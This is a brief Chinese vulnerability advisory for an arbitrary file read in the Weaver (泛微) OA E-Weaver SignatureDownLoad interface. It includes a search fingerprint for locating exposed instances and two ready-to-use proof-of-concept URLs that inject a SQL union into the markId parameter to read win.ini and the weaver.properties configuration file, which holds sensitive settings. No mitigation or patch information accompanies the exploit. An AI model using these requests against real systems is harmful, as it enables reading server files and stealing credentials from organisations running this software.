泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞

漏洞描述

泛微OA E-Weaver SignatureDownLoad接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器任意文件

漏洞影响

泛微OA E-Weaver

网络测绘

app="泛微-E-Weaver"

漏洞复现

验证POC

/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27C:/Windows/win.ini%27

/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27